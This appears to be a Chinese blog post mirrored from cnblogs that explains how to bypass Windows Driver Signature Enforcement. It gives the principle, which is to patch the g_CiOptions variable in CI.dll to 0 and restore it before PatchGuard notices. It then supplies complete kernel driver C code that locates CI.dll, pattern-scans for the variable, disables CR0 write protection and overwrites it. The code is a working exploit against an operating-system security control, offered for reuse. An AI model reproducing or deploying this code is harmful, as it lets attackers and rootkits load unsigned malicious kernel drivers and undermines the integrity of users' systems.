zoukankan      html  css  js  c++  java
  • 内核过DSE驱动签名验证.

    一丶简介

    现在的驱动,必须都有签名才能加载.那么如何加载无签名的驱动模块那.
    下面可以说下方法.但是挺尴尬的是,代码必须在驱动中编写.所以就形成了
    你必须一个驱动带有一个签名加载进去.执行你的代码.pass掉DSE之后以后加载驱动就可以完全不用签名了.

    原理:
    原理就是Path一下CI内核模块.将一个全局变量置为0即可.但是受PG保护.不过PG要检测这个位置不会立刻保护.所以可以修改完加载完你的无驱动签名的驱动.然后修改回来即可.

    全局变量有三个. 0 6 8 0代表禁用 6代表开启. 8代表可以加载测试签名.

    二丶逆向CI.dll寻找Path位置.

    既然上面说了.是修改一个全局变量.那么打开CI看看修改那个即可.

    结果

    虽然提示你需要签名.但是可以用PChunter看到.其实已经加载了.

    一共三个值. 0 6 8 6代表开启驱动签名 0代表关闭 8 代表开启测试驱动签名

    代码:

    
    #include "Driver.h"
    #include <wdm.h>
    
    //KLDR_DATA_TABLE_ENTRY
    
    typedef struct _LDR_DATA_TABLE_ENTRY {
    	LIST_ENTRY InLoadOrderLinks;
    	LIST_ENTRY InMemoryOrderLinks;
    	LIST_ENTRY InInitializationOrderLinks;
    	PVOID DllBase;
    	PVOID EntryPoint;
    	ULONG SizeOfImage;
    	UNICODE_STRING FullDllName;
    	UNICODE_STRING BaseDllName;
    	ULONG Flags;
    	USHORT LoadCount;
    	USHORT TlsIndex;
    	union {
    		LIST_ENTRY HashLinks;
    		struct {
    			PVOID SectionPointer;
    			ULONG CheckSum;
    		};
    	};
    	union {
    		struct {
    			ULONG TimeDateStamp;
    		};
    		struct {
    			PVOID LoadedImports;
    		};
    	};
    }LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
    
    VOID IteratorModule(PDRIVER_OBJECT pDriverObj)
    {
    	PLDR_DATA_TABLE_ENTRY pLdr = NULL;
    	PLIST_ENTRY pListEntry = NULL;
    	PLIST_ENTRY pCurrentListEntry = NULL;
    
    	PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL;
    	pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection;
    	pListEntry = pLdr->InLoadOrderLinks.Flink;
    	pCurrentListEntry = pListEntry->Flink;
    
    	while (pCurrentListEntry != pListEntry) //前后不相等
    	{
    		//获取LDR_DATA_TABLE_ENTRY结构
    		pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
    
    		if (pCurrentModule->BaseDllName.Buffer != 0)
    		{
    			DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p
    ",
    				pCurrentModule->BaseDllName,
    				pCurrentModule->DllBase,
    				(LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage);
    		}
    		pCurrentListEntry = pCurrentListEntry->Flink;
    	}
    }
    
    LONGLONG GetModuleBaseByName(PDRIVER_OBJECT pDriverObj,UNICODE_STRING ModuleName)
    {
    	PLDR_DATA_TABLE_ENTRY pLdr = NULL;
    	PLIST_ENTRY pListEntry = NULL;
    	PLIST_ENTRY pCurrentListEntry = NULL;
    
    	PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL;
    	pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection;
    	pListEntry = pLdr->InLoadOrderLinks.Flink;
    	pCurrentListEntry = pListEntry->Flink;
    
    	while (pCurrentListEntry != pListEntry) //前后不相等
    	{
    		//获取LDR_DATA_TABLE_ENTRY结构
    		pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
    
    		if (pCurrentModule->BaseDllName.Buffer != 0)
    		{
    			UNICODE_STRING uCmp1 = RTL_CONSTANT_STRING(L"HelloWorld");
    			UNICODE_STRING uCmp2 = RTL_CONSTANT_STRING(L"HelloWorld");
    			if (RtlCompareUnicodeString(&pCurrentModule->BaseDllName, &ModuleName, TRUE) == 0)
    			{
    				DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p
    ",
    					pCurrentModule->BaseDllName,
    					pCurrentModule->DllBase,
    					(LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage);
    				return (LONGLONG)pCurrentModule->DllBase;
    			}
    			
    		}
    		pCurrentListEntry = pCurrentListEntry->Flink;
    	}
    	return 0;
    }
    
    typedef struct _BASEMANGER
    {
    	LONGLONG StartBase;
    	LONGLONG EndBase;
    }BASEMANGER,*PBASEMANGER;
    
    BASEMANGER GetModuleBaseByNames(PDRIVER_OBJECT pDriverObj, UNICODE_STRING ModuleName)
    {
    	PLDR_DATA_TABLE_ENTRY pLdr = NULL;
    	PLIST_ENTRY pListEntry = NULL;
    	PLIST_ENTRY pCurrentListEntry = NULL;
    
    	PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL;
    	pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection;
    	pListEntry = pLdr->InLoadOrderLinks.Flink;
    	pCurrentListEntry = pListEntry->Flink;
    	BASEMANGER BaseManger = { 0 };
    	while (pCurrentListEntry != pListEntry) //前后不相等
    	{
    		//获取LDR_DATA_TABLE_ENTRY结构
    		pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
    
    		if (pCurrentModule->BaseDllName.Buffer != 0)
    		{
    			UNICODE_STRING uCmp1 = RTL_CONSTANT_STRING(L"HelloWorld");
    			UNICODE_STRING uCmp2 = RTL_CONSTANT_STRING(L"HelloWorld");
    			if (RtlCompareUnicodeString(&pCurrentModule->BaseDllName, &ModuleName, TRUE) == 0)
    			{
    				
    				DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p
    ",
    					pCurrentModule->BaseDllName,
    					pCurrentModule->DllBase,
    					(LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage);
    				
    				BaseManger.StartBase = (LONGLONG)pCurrentModule->DllBase;
    				BaseManger.EndBase = (LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage;
    				return BaseManger;
    			}
    
    		}
    		pCurrentListEntry = pCurrentListEntry->Flink;
    	}
    	BaseManger.StartBase = 0;
    	BaseManger.EndBase = 0;
    	return BaseManger;
    }
    
    
    
    
    
    //核心实现代码
    DWORD64 g_CiOptionsAddress;
    int g_CiOptions = 6;
    
    
    
    KIRQL  WPOFFx64()
    {
    	KIRQL  irql = KeRaiseIrqlToDpcLevel();
    	UINT64  cr0 = __readcr0();
    	cr0 &= 0xfffffffffffeffff;
    	_disable();
    	__writecr0(cr0);
    	return  irql;
    }
    
    
    
    KIRQL DisableMemProtected()
    {
    	KIRQL  irql = KeRaiseIrqlToDpcLevel();
    	UINT64  cr0 = __readcr0();
    	cr0 &= 0xfffffffffffeffff;
    	_disable();
    	__writecr0(cr0);
    	return  irql;
    }
    
    void EnbaleMemProtected(KIRQL irql)
    {
    	UINT64  cr0 = __readcr0();
    	cr0 |= 0x10000;
    	_enable();
    	__writecr0(cr0);
    	KeLowerIrql(irql);
    }
    BOOLEAN DisableDse(DWORD64 CiStartAddress, DWORD64 CiEndAddress)
    {
    	UNICODE_STRING FunctionName = RTL_CONSTANT_STRING(L"PsGetCurrentProcess");
    	DWORD64 PsGetCurrentProcessAddress = (DWORD64)MmGetSystemRoutineAddress(&FunctionName);
    	DWORD64 SerchAddress = CiStartAddress;
    	DWORD64 Address;
    	KIRQL Myirql;
    	int nCount = 0;
    	int isFind = 0;
    	int i = 0;
    	int isRead = 1;
    	if (SerchAddress == 0)
    	{
    		return 0;
    	}
    	__try
    	{
    		KIRQL irql = KeRaiseIrqlToDpcLevel();
    		while (SerchAddress++)
    		{
    			if (SerchAddress + 2 > CiEndAddress)
    			{
    				break;
    			}
    
    			isRead = 1;
    			for (i = 0; i < 2; i++)
    			{
    				if (MmIsAddressValid((PDWORD64)SerchAddress + i) == FALSE)
    				{
    					isRead = 0;
    					break;
    				}
    			}
    
    			if (isRead == 1)
    			{
    				if (*(PUSHORT)(SerchAddress) == 0x15ff)
    				{
    					Address = SerchAddress + *(PLONG)(SerchAddress + 2) + 6;
    					if (MmIsAddressValid((PDWORD64)Address))
    					{
    						if (*(PDWORD64)Address == PsGetCurrentProcessAddress)
    						{
    							while (nCount < 100)
    							{
    								nCount++;
    								SerchAddress--;
    								if (*(PUSHORT)(SerchAddress) == 0x0d89)
    								{
    									isFind = 1;
    									break;
    								}
    							}
    							break;
    						}
    					}
    
    				}
    			}
    		}
    		KeLowerIrql(irql);
    	}
    	__except (1)
    	{
    		DbgPrint("搜索数据失败!");
    	}
    	if (isFind == 1)
    	{
    		//DbgPrint("SerchAddress:%p
    ", SerchAddress);
    		g_CiOptionsAddress = SerchAddress + *(PLONG)(SerchAddress + 2) + 6;
    		g_CiOptions = *(PLONG)g_CiOptionsAddress;
    		DbgPrint("地址:%p 初始化值数据:%08X
    ", g_CiOptionsAddress, g_CiOptions);
    		Myirql = DisableMemProtected();
    		*(PLONG)g_CiOptionsAddress = 0; //DisableDse 修改为0即可.
    		DbgPrint("地址:%p 修改数据为:%08X
    ", g_CiOptionsAddress, *(PLONG)g_CiOptionsAddress);
    		EnbaleMemProtected(Myirql);
    		return TRUE;
    	}
    	else
    	{
    		DbgPrint("搜索数据失败!
    ");
    		return FALSE;
    	}
    }
    void EnbalDse()  //开启DSE保护
    {
    	KIRQL Myirql;
    	Myirql = DisableMemProtected();
    	*(PLONG)g_CiOptionsAddress = 6; //DisableDse 修改为6即可.
    	DbgPrint("开启签名验证成功.值修改为 %d 
    ", *(PLONG)g_CiOptionsAddress);
    	EnbaleMemProtected(Myirql);
    	
    }
    
    
    
    NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegPath)
    {
    	ULONG iCount = 0;
    	NTSTATUS ntStatus;
    	UNICODE_STRING uModuleName;
    	BASEMANGER Base = { 0 };
    	RtlInitUnicodeString(&uModuleName, L"CI.dll");
    	pDriverObj->DriverUnload = DriverUnLoad;
    
    	Base = GetModuleBaseByNames(pDriverObj, uModuleName);
    	if (Base.StartBase != 0 && Base.EndBase != 0)
    	{
    		DisableDse(Base.StartBase, Base.EndBase);//传入CI基址 CICiEndAddress
    		//EnbalDse();                            //关闭DSE
    	}
    
    	
    	
    	
    	return STATUS_SUCCESS;
    }
    
    
    
    

    ps: 文章是原创.但是核心原理是参考了一个看流星论坛的一个大佬的。自己将它的代码拷贝了下来稍微改了改。加了遍历模块代码而已。
    原理就是Path CI. 大佬的代码就是寻找特征定位全局变量。既然知道原理了。那么定位的话就抄一下了。
    另一篇文章是参考了 安全客的一个漏洞文章。现在找不到了。另一篇所讲的是 标志有三种 0 6 8 0是禁用 6是开启 8是启动测试签名。所以在这里直接使用了。

  • 相关阅读:
    网站优化,dns预解析,解析缓存
    dos命名重启或关闭远程服务器
    IIS 常见问题集记录
    EF 基础提供程序在 Open 上失败
    flexbox学习
    svn post-commit 同步
    备份
    log4net 2.0.4有问题,AdoNetAppender会报错
    signalr 配置错误跟踪
    Facebook的Web开发三板斧:React.js、Relay和GraphQL
  • 原文地址:https://www.cnblogs.com/iBinary/p/11670763.html
Copyright © 2011-2022 走看看